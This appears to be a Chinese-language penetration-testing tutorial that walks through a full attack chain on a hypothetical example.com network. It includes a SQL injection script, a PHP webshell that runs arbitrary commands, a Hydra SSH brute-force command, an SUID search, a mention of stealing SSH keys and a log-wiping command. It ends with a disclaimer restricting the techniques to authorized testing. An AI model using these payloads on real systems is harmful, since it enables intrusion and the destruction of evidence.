一、从目标系统架构开始

在渗透测试中,了解目标系统的架构是整个攻击链的起点。任何攻击都从信息收集开始,目标系统的技术栈、网络结构和关键服务是攻击者的第一手资料。

假设我们的目标是一套典型的企业内部网络,包含以下架构:

  • Web服务器:运行 Apache + PHP,既有外网暴露的部分,也有内网应用。
  • 数据库服务器:MySQL,内网访问,存储用户数据。
  • 域控服务器:运行 Active Directory,负责权限管理。
  • 内部邮件服务器:Exchange Server。
  • 文件共享服务器:运行 SMB。

攻击者会从外部暴露服务入手,通过漏洞、弱口令或社工铓鱼,逐步深入内网。一旦进入内网,横向移动和权限提升是攻破核心的关键。

二、信息收集:打好基础

信息收集是渗透测试的第一步,也是最重要的一步。我们需要尽可能多地了解目标的公开信息,包括域名、子域名、IP地址、开放端口和服务。

工具推荐

  1. Nmap:经典端口扫描工具,支持服务版本探测。
  2. Sublist3r:子域名枚举工具,可结合多个被动源。
  3. Shodan:互联网设备搜索引擎,可以发现目标暴露的服务。
  4. theHarvester:电子邮件、子域名、IP的枚举工具。

实战步骤

假设目标公司域名是 example.com,我们可以通过以下步骤进行信息收集:

1. 使用 Sublist3r 枚举子域名

<pre><code class="language-bash"># 枚举目标域名的子域名 sublist3r -d example.com -o subdomains.txt</code></pre>

生成的 subdomains.txt 可能包含以下内容: <pre><code>www.example.com mail.example.com admin.example.com vpn.example.com</code></pre>

2. 使用 Nmap 扫描端口

<pre><code class="language-bash"># 快速扫描目标域名的开放端口 nmap -Pn -p 1-65535 -T4 -oN nmap_scan.txt www.example.com</code></pre>

结果: <pre><code>PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https</code></pre>

3. 利用 Shodan 搜索公开服务

<pre><code class="language-bash"># 搜索目标域名的暴露服务 shodan search &quot;example.com&quot;</code></pre>

黑客示意图

数据分析

结合以上工具收集的数据,攻击者可以确定外部暴露的服务,选择合适的攻击入口。例如,发现目标暴露的 VPN、SSH 和 Web 服务,可以尝试漏洞利用或凭证爆破。

三、漏洞利用:进入系统的大门

目标服务器暴露了 Web 服务和 SSH。我们将通过以下两种方式尝试进入系统。

方法一:Web服务漏洞利用

漏洞原理

目标网站运行的是 Apache + PHP,很可能存在常见漏洞,例如:

  • SQL注入:通过输入恶意 SQL 语句,控制数据库。
  • 文件上传:利用上传功能,上传 Webshell。

黑客示意图

POC代码:SQL注入

<pre><code class="language-python">import requests

目标 URL

url = &quot;http://www.example.com/login.php&quot;

注入语句

payload = &quot;&#039; OR 1=1--&quot;

构造请求

data = { &quot;username&quot;: payload, &quot;password&quot;: &quot;random&quot; }

黑客示意图

发送请求

response = requests.post(url, data=data)

检查响应

if &quot;Welcome&quot; in response.text: print(&quot;[+] SQL注入成功&quot;) else: print(&quot;[-] SQL注入失败&quot;)</code></pre>

文件上传攻击

<pre><code class="language-php">&lt;?php

Webshell 示例

if(isset($_GET[&#039;cmd&#039;])){ echo &quot;&lt;pre&gt;&quot;; system($_GET[&#039;cmd&#039;]); echo &quot;&lt;/pre&gt;&quot;; } ?&gt;</code></pre> 将此 Webshell 上传到目标服务器,然后通过浏览器访问: <pre><code>http://www.example.com/uploads/shell.php?cmd=whoami</code></pre>

方法二:SSH凭证爆破

工具使用

使用 Hydra 进行 SSH爆破: <pre><code class="language-bash">hydra -l admin -P passwords.txt ssh://www.example.com</code></pre> Hydra 会尝试字典中的每个密码,直到成功登录。

四、权限提升与横向移动

进入目标系统后,大概率是普通用户权限。接下来需要提升权限并横向移动到更多系统。

权限提升

在 Linux 服务器中,常见权限提升方式包括:

  1. SUID提权:查找可执行的 SUID 程序。
  2. 内核漏洞利用:利用过时的 Linux 内核漏洞。
  3. 弱配置提权:检查 /etc/passwd.bashrc 文件。

SUID提权代码

<pre><code class="language-bash"># 查找 SUID 文件 find / -perm -4000 2&gt;/dev/null

利用 SUID 提权

/usr/sbin/vulnerable_binary</code></pre>

横向移动

通过敏感文件或凭证窃取,访问更多系统:

  • 通过 SSH移动:窃取 .ssh/id_rsa 文件。
  • 通过数据库移动:获取其他服务器 IP。

五、痕迹清除:让攻击隐匿无踪

为了避免被追踪,攻击者通常会清理痕迹:

  1. 删除日志文件/var/log/auth.log
  2. 隐藏 Webshell:修改文件名或路径。
  3. 流量伪装:使用 HTTPS 或加密隧道隐藏通信。

清除日志的代码示例

<pre><code class="language-bash"># 清空日志文件 echo &quot;&quot; &gt; /var/log/auth.log</code></pre>

六、个人经验:渗透测试中的小技巧

在渗透测试中,工具和技术只是基础,实战经验更重要。以下是一些个人总结的技巧:

  1. 常见输入点的发现:登录页面、搜索框、上传功能。
  2. 定制 Payload:针对目标系统构造专属的攻击代码。
  3. 利用社工技巧:结合物理攻击,如 USB植入。
  4. 动态分析:遇到防护措施时,使用沙箱或虚拟环境测试绕过方法。

通过以上渗透测试技术,你可以构建完整的攻击链,从信息收集到入侵目标,再到权限提升与横向移动。请牢记,所有技术仅用于授权测试,严禁非法用途!